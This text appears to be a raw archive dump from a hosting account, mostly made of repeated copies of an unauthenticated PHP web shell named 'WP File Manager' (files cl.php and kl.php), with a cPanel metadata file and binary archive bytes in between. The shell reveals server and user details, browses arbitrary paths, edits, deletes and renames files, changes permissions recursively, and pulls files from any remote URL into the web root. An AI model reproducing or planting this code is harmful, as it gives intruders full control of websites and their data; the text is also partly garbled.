'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]¢Æ?BBalp@drsupernova.com/.metadatanu„[µü¤[addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK [calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR PK’&{]„N9³§Ë§Ëalp@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëalp@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
